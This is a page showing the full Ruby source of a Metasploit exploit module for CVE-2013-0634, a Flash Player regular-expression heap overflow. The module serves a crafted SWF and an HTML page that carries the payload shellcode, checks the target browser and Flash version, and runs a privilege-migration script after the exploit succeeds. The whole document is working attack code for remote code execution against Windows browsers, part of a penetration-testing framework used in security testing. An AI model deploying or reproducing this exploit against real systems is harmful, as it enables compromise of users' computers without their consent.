Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/browser/adobe_flash_regex_value.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::BrowserExploitServer910def initialize(info={})11super(update_info(info,12'Name' => "Adobe Flash Player Regular Expression Heap Overflow",13'Description' => %q{14This module exploits a vulnerability found in the ActiveX component of Adobe15Flash Player before 11.5.502.149. By supplying a specially crafted swf file16with special regex value, it is possible to trigger a memory corruption, which17results in remote code execution under the context of the user, as exploited in18the wild in February 2013. This module has been tested successfully with Adobe19Flash Player 11.5 before 11.5.502.149 on Windows XP SP3 and Windows 7 SP1 before20MS13-063, since it takes advantage of a predictable SharedUserData in order to21leak ntdll and bypass ASLR.22},23'License' => MSF_LICENSE,24'Author' =>25[26'Unknown', # malware sample27'Boris "dukeBarman" Ryutin', # msf exploit28'juan vazquez' # ActionScript deobfuscation and cleaning29],30'References' =>31[32[ 'CVE', '2013-0634' ],33[ 'OSVDB', '89936'],34[ 'BID', '57787'],35[ 'URL', 'http://malwaremustdie.blogspot.ru/2013/02/cve-2013-0634-this-ladyboyle-is-not.html' ],36[ 'URL', 'http://malware.dontneedcoffee.com/2013/03/cve-2013-0634-adobe-flash-player.html' ],37[ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/02/lady-boyle-comes-to-town-with-a-new-exploit.html' ],38[ 'URL', 'http://labs.alienvault.com/labs/index.php/2013/adobe-patches-two-vulnerabilities-being-exploited-in-the-wild/' ],39[ 'URL', 'http://eromang.zataz.com/tag/cve-2013-0634/' ]40],41'Payload' =>42{43'Space' => 1024,44'DisableNops' => true45},46'DefaultOptions' =>47{48'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',49'Retries' => false50},51'Platform' => 'win',52'BrowserRequirements' =>53{54:source => /script|headers/i,55:activex => [56{57clsid: "{D27CDB6E-AE6D-11cf-96B8-444553540000}",58method: "LoadMovie"59}60],61:os_name => OperatingSystems::Match::WINDOWS,62:ua_name => Msf::HttpClients::IE,63:flash => lambda { |ver| ver =~ /^11\.5/ && ver < '11.5.502.149' }64},65'Targets' =>66[67[ 'Automatic', {} ]68],69'Privileged' => false,70'DisclosureDate' => '2013-02-08',71'DefaultTarget' => 0))72end7374def exploit75@swf = create_swf76super77end7879def on_request_exploit(cli, request, target_info)80print_status("Request: #{request.uri}")8182if request.uri =~ /\.swf$/83print_status("Sending SWF...")84send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})85return86end8788print_status("Sending HTML...")89tag = retrieve_tag(cli, request)90profile = browser_profile[tag]91profile[:tried] = false unless profile.nil? # to allow request the swf92send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})93end9495def exploit_template(cli, target_info)9697swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"98shellcode = get_payload(cli, target_info).unpack("H*")[0]99100html_template = %Q|<html>101<body>102<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />103<param name="movie" value="<%=swf_random%>" />104<param name="allowScriptAccess" value="always" />105<param name="FlashVars" value="his=<%=shellcode%>" />106<param name="Play" value="true" />107</object>108</body>109</html>110|111112return html_template, binding()113end114115def create_swf116path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2013-0634", "exploit.swf" )117swf = ::File.open(path, 'rb') { |f| swf = f.read }118119swf120end121end122123124